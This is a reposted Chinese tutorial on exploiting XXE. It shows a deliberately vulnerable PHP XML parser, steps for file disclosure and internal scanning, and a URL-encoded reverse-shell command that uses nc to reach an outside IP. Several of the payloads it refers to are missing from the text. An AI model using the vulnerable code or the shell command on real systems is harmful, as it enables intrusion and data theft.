XML注入详解xxe的典型案例二
Posted 锋刃科技
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XML注入详解xxe的典型案例二相关的知识,希望对你有一定的参考价值。
xxe的典型案例二
1.安装并运行起来
使用以下php脚本,它解析发送给它的XML并将其回传给用户。我把它命名为NEW_XXE.php,并把它放在我的Web根目录下的CUSTOM目录中。
<?php
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml = simplexml_import_dom($dom);
$stuff = $xml->stuff;
$str = "$stuff \n";
echo $str;
?>
如果要在实验室中创建此场景,你可以将上述脚本放入PHP服务器(要先确保安装了php-xml)
现在创建一个xml文件,作为请求发送到具有以下内容的服务器。我命名为“send.txt”,并将其从服务器上发送到本地主机,以确保一切都符合预期。
你可以把任何你想要的东西,像这样把它发送到本地主机。
2.一些External Entities请求
将“send.txt”修改为以下内容:
这是对Linux系统的典型XXE攻击,是证明该漏洞存在的好方法。如果一切正常,你应该得到一个“/ etc / passwd”转储(dump)。
从 服务器上 再次发送到本地主机。
XXE可以做的另一件非常有用的事情是创建HTTP请求。
在WEBSVR01上的8888端口上启动python SimpleHTTPServer,我们来看看会发生什么。
我的python http server服务器。
我们可以发送http请求了。
在远程系统中,我可以利用此漏洞并获取一些网络信息。在这里我解释一下这个漏洞,你可以在互联网上许多的Web服务器上发现这个漏洞,你可以用它作为枢轴点。
下图显示了全部。我在34.200.157.128找到了一个网络服务器,该主机真的是NAT /Firewall设备后面的WEBSVR01。WEBSVR01有一个XXE漏洞,我想用来收集信息并用来攻击利用WEBSRV02。我的攻击PC是在开放的互联网上的。
首先,你要抓取“/etc/networking/interfaces”,如果需要更多信息,可以查看“/proc/net/route”(如果这些值为十六进制,则可能需要转换它们)。
在我的攻击PC(Ubuntu 14 LTS)中,我创建请求文件从Web服务器抓取“/etc/network/interfaces”。
在ATTACK PC上编辑文件来抓取/etc/passwd:
发送请求:
注意:有些字符会破坏XML。到目前为止,我们只查看了文件或者做了简单的http请求,没有返回会破坏我们的XML的字符。由于我们使用的是PHP,所以返回的内容是base64编码的。在ATTACK PC上更改你的“send.txt”以匹配以下内容,并添加以下PHP过滤器。
现在发送请求
现在我们得到了base64编码的内容,一旦解码,我们就得到了网页的内容了。
3.构建HTTP扫描器
将上面的都放在一起,我们现在可以扫描Web服务器的内部IP范围了。
当然使用Python了。
你可以在我的<a href="https://github.com/rschwass/SCRIPTS/blob/master/XEE_SCANNER.py">GitHub上获取脚本。
从ATTACK PC, EXECUTE!
让我们看看Base64如何解码10.0.0.4返回的数据。
exploit-db.com上的小漏洞:https://www.exploit-db.com/exploits/10610/
因为我们获得了一个index.pl(Perl)文件,所以我要假设CGI是启用的,所以这个漏洞可以执行。它通过在GET请求中传递参数来执行,因此我们可以对面向公网的主机进行XXE漏洞攻击。
解密Metasploit模块后,需要发送的请求就像此URL编码的http请求一样:
http://10.0.0.4/index.pl?%60mknod%20backpipe%20p%20%26%26%20nc%2034.200.157.80%201337%2
00%3Cbackpipe%20%7C%20%2Fbin%2Fbash%201%3Ebackpipe%26%60
现在让我们通过XXE漏洞来触发10.0.0.4的漏洞。
在ATTACK PC上创建Netcat侦听器并执行!
现在你得到一个反向的Shell了
以上是关于XML注入详解xxe的典型案例二的主要内容,如果未能解决你的问题,请参考以下文章